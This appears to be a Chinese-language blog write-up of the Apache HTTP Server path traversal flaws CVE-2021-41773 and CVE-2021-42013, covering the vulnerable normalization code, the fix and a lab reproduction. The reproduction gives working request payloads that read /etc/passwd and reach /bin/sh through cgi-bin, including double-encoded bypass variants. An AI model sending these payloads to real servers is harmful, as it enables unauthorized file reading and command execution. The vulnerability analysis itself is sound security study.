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CVE-2021-41773/42013 apache路径穿越漏洞

news 2025/8/26 17:37:33

影响范围

CVE-2021-41773 Apache HTTP server 2.4.49
CVE-2021-42013 Apache HTTP server 2.4.49/2.4.50

漏洞原理

Apache HTTP Server 2.4.49版本使用的ap_normalize_path函数在对路径参数进行规范化时会先进行url解码，然后判断是否存在…/的路径穿越符，如下所示：

while (path[l] != '\0') {if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)&& path[l] == '%' && apr_isxdigit(path[l + 1])&& apr_isxdigit(path[l + 2])) {const char c = x2c(&path[l + 1]);if (apr_isalnum(c) || (c && strchr("-._~", c))) {/* Replace last char and fall through as the current* read position */l += 2;path[l] = c;}}......if (w == 0 || IS_SLASH(path[w - 1])) {/* Collapse / sequences to / */if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) {do {l++;} while (IS_SLASH(path[l]));continue;}if (path[l] == '.') {/* Remove /./ segments */if (IS_SLASH_OR_NUL(path[l + 1])) {l++;if (path[l]) {l++;}continue;}/* Remove /xx/../ segments */if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {/* Wind w back to remove the previous segment */if (w > 1) {do {w--;} while (w && !IS_SLASH(path[w - 1]));}else {/* Already at root, ignore and return a failure* if asked to.*/if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {ret = 0;}}

当检测到路径中存在%字符时，如果紧跟的2个字符是十六进制字符，就会进行url解码，将其转换成标准字符，如%2e->.，转换完成后会判断是否存在…/。
如果路径中存在%2e./形式，就会检测到，但是出现.%2e/这种形式时，就不会检测到，原因是在遍历到第一个.字符时，此时检测到后面的两个字符是%2而不是./，就不会把它当作路径穿越符处理，因此可以使用.%2e/或者%2e%2e绕过对路径穿越符的检测。

2.4.50版本对ap_normalize_path函数进行修改，补充了如下代码，对.%2e的绕过形式进行了判断，可以避免使用该方法绕过。

if ((path[n] == '.' || (decode_unreserved&& path[n] == '%'&& path[++n] == '2'&& (path[++n] == 'e'|| path[n] == 'E')))&& IS_SLASH_OR_NUL(path[n + 1])) {/* Wind w back to remove the previous segment */if (w > 1) {do {w--;} while (w && !IS_SLASH(path[w - 1]));}else {/* Already at root, ignore and return a failure* if asked to.*/if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {ret = 0;}}/* Move l forward to the next segment */l = n + 1;if (path[l]) {l++;}continue;
}

但是由于在请求处理过程中，还会调用ap_unescape_url函数对参数再次进行解码，仍然会导致路径穿越。

在处理外部HTTP请求时，会调用 ap_process_request_internal函数对url路径进行处理，在该函数中，首先会调用ap_normalize_path函数进行一次url解码，之后会调用ap_unescape_url函数进行二次解码，代码如下：


/* This is the master logic for processing requests.  Do NOT duplicate* this logic elsewhere, or the security model will be broken by future* API changes.  Each phase must be individually optimized to pick up* redundant/duplicate calls by subrequests, and redirects.*/
AP_DECLARE(int) ap_process_request_internal(request_rec *r)
{......if (r->parsed_uri.path) {/* Normalize: remove /./ and shrink /../ segments, plus* decode unreserved chars (first time only to avoid* double decoding after ap_unescape_url() below).*/if (!ap_normalize_path(r->parsed_uri.path,normalize_flags |AP_NORMALIZE_DECODE_UNRESERVED)) {ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244)"invalid URI path (%s)", r->unparsed_uri);return HTTP_BAD_REQUEST;}}....../* Ignore URL unescaping for translated URIs already */if (access_status != DONE && r->parsed_uri.path) {core_dir_config *d = ap_get_core_module_config(r->per_dir_config);if (d->allow_encoded_slashes) {access_status = ap_unescape_url_keep2f(r->parsed_uri.path,d->decode_encoded_slashes);}else {access_status = ap_unescape_url(r->parsed_uri.path);}if (access_status) {if (access_status == HTTP_NOT_FOUND) {if (! d->allow_encoded_slashes) {ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00026)"found %%2f (encoded '/') in URI path (%s), ""returning 404", r->unparsed_uri);}}return access_status;}

漏洞复现

环境：vulfocus漏洞集成靶场

1、开启靶场，访问ip抓取数据包
在这里插入图片描述

2、丢入repeater修改为payload
GET /icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
在这里插入图片描述

POST /cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
在这里插入图片描述

3、开启42013的靶场，将%2e修改成%%32%65（2的ascii是32，e的ascii是65）
GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
在这里插入图片描述

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
在这里插入图片描述

漏洞修复

2.4.51版本针对该漏洞进行了多处修改，最核心的一处修改是在ap_normalize_path函数中加强了对url编码的校验，如果检测到存在非标准url编码（%+两个十六进制字符）的情况，就返回编码错误，从根本上杜绝了多重编码可能导致的绕过，修复代码如下：

while (path[l] != '\0') {/* RFC-3986 section 2.3:*  For consistency, percent-encoded octets in the ranges of*  ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),*  period (%2E), underscore (%5F), or tilde (%7E) should [...]*  be decoded to their corresponding unreserved characters by*  URI normalizers.*/if (decode_unreserved && path[l] == '%') {if (apr_isxdigit(path[l + 1]) && apr_isxdigit(path[l + 2])) {const char c = x2c(&path[l + 1]);if (TEST_CHAR(c, T_URI_UNRESERVED)) {/* Replace last char and fall through as the current* read position */l += 2;path[l] = c;}}else {/* Invalid encoding */ret = 0;}}